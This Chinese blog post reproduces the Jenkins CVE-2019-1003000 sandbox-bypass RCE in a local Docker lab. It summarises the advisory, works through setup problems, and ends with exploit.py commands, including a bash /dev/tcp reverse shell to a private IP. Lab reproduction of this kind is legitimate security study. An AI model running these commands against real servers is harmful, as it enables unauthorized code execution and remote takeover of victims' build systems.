jenkins rec cve-2019-1003000 复现
0X1 漏洞预警
2019年1月8日,Jenkins官方发布了一则Script Security and Pipeline 插件远程代码执行漏洞的安全公告,漏洞CVE编号为:CVE-2019-1003000,官方定级为高危。2019年2月15日,网上公布了该漏洞的利用方式,该漏洞允许具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户绕过沙盒保护并在Jenkins主服务器上执行任意代码。
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。Jenkins的目的是持续、自动地构建/测试软件项目以及监控软件开放流程,快速问题定位及处理,提示开放效率。
Script Security and Pipeline 插件是Jenkins的一个安全插件,可以集成到Jenkins各种功能插件中。它主要支持两个相关系统:脚本批准和Groovy沙盒。
该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。
0X2 漏洞复现
可以在官网下载漏洞版本,我们在此选择其他安全研究人员已经测试好的demo进行测试,下载地址:
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
分别在Kali下和Ubuntu16.04下搭建,发现Ubuntu下的环境在运行的时候失败了,原因是docker版本过旧,安装的是docker.io,所以请务必安装最新的docker-ce。本次环境在kali下进行,并且kali已经安装了最新版的docker,安装方法请自行度娘。
代码下载链接:
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
下载之后,安装依赖环境:
进入sample-vuln文件件,拉取环境:
拉取完成之后,开始运行环境,但是一直没有启动来,一运行启动命令,ps查看都没有容器实例:
再次编辑运行脚本,去掉--rm子命令,不用自动移除相同名称的容器。再次运行之后,docker ps -a查看能够发现环境实例存在,但是docker ps没有,上一条的命令显示环境一启动就退出了,通过日志命令docker logs container_id 排查:
发现是权限问题,本地的jenkinsdata文件夹是root权限,而jenkins的权限很小,uid等信息都是1000,所以修改jenkinsdata的权限并删除之前的容器再次运行脚本,即可启动环境:
这样环境已经启动ok了!
由于环境是作者已经搭建好的,因此我们进入到容器中,并没有发现初始化密码的文件secrets/initialAdminPassword的存在:
所以只能使用user1/user1进行登录,并发现已有的job任务my-pipeline已经被创建好
下面利用已有的信息进行漏洞利用:
python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"
反弹shell成功:
python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/192.168.0.102/12345 0>&1"
至此,漏洞利用成功!
实验的难点在于jenkins 2.152-alpine的安装搭建,并且漏洞的几个插件都已经被官方修复,在系统配置中安装的时候,security-script很容易被升级到最新版,利用就会失败!
做实验不容易,且行且珍惜!
参考链接:
https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC
https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/
https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
jenkins rec cve-2019-1003000 复现相关推荐
- jenkins rec 分析 cve-2018-1000861 分析
0x01 Jenkins的动态路由解析 web.xml: 可以看到Jenkins将所有的请求交给org.kohsuke.stapler.Stapler来处理的,跟进看一下这个类中的service方法: ...
- 指称表达理解(REC)——MAttNet论文复现,以及踩过的坑!
MAttNet论文复现 一.论文连接以及代码地址 论文链接:<MAttNet: Modular Attention Network for Referring Expression Compre ...
- 2021年第一季度Sumap网络空间测绘CVE漏洞趋势安全分析报告
前言 本文主要通过网络测绘角度收集各种资产协议的版本号信息,通过比对CVE漏洞影响范围中的版本号方式,进行安全风险趋势分析,无任何实际危害互联网行为.资产在携带版本中也会存在修复补丁后版本不变的情况. ...
- Notes Twelfth Day-渗透攻击-红队-命令与控制
** Notes Twelfth Day-渗透攻击-红队-打入内网(dayu) ** 作者:大余 时间:2020-09-28 请注意:对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透 ...
- RiskSense Spotlight:全球知名开源软件漏洞分析报告
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 RiskSense 公司最近发布了关于全球当前知名开源软件 (OSS) 的漏洞分析报告.奇安信代码卫士团队编译如下. 摘要 开源软 ...
- 【社招】一年测开经验转后端开发经历。
背景 先说下背景吧,我是2019年毕业的本科生,985非科班,而且是和计算机专业八杆子打不着的那种非科班.大二的时候打球认识了我们学校一个计算机专业的学生,听他说互联网现在薪资好高,写代码特别有意思, ...
- 攻防世界web高手进阶php_rce,php_rce 攻防世界xctf web
php_rce 首先了解ThinkPHP5.x rec 漏洞分析与复现https://blog.csdn.net/qq_40884727/article/details/101452478 var_p ...
- 未发现数据源名称并且未指定默认驱动程序_看我如何发现NVIDIA GeForce Experience代码执行漏洞...
0x01 前言大家好,我是来自Chengdu University of Technology的Siyuan Yi,本人是一名安全爱好者,平时喜欢搞搞逆向,玩玩CTF.不久前,我发现了我的第一个0da ...
- VMware vCenter Server Appliance Photon OS安全修补程序
VMware vCenter Server Appliance Photon OS安全修补程序 上次更新时间 2019年12月19日 https://docs.vmware.com/en/VMware ...
最新文章
- 鼠标事件在浏览器的差异
- python中while循环_Python第12课:while循环案例 打印输出有规律的造型
- swift -自定义返回图片,替换系统图片backItem
- mysql windows ad_mysql windows安装
- spring data整合elasticsearch的applicationContext.xml文件模板
- Python爬虫小白入门(六)爬取披头士乐队历年专辑封面-网易云音乐
- adodb.recordset.open方法的参数
- 从零基础入门Tensorflow2.0 ----五、20. 预定义estimator使用
- linux 间传输文件的几种方法scp、sftp
- Java入门书籍推荐
- java随机点名器_基于JavaScript实现随机点名器
- SpringMVC 之Resolver视图解析器笔记(六)
- 系统学习深度学习(四) --CNN原理,推导及实现源码分析
- 计算机文化基础案例教程第三版答案,计算机文化基础案例教程教学课件作者第3版谭宁教学课件素材排骨做法.doc...
- 夜神模拟器怎么开脚本?
- 4D毫米波雷达硬件系统架构
- mysql表名可以用中文么_[急]MySQL中建表不能使用中文字段吗?解决思路
- C语言假设银行一年存利
- ASP.NET文件操作
- Hello my friend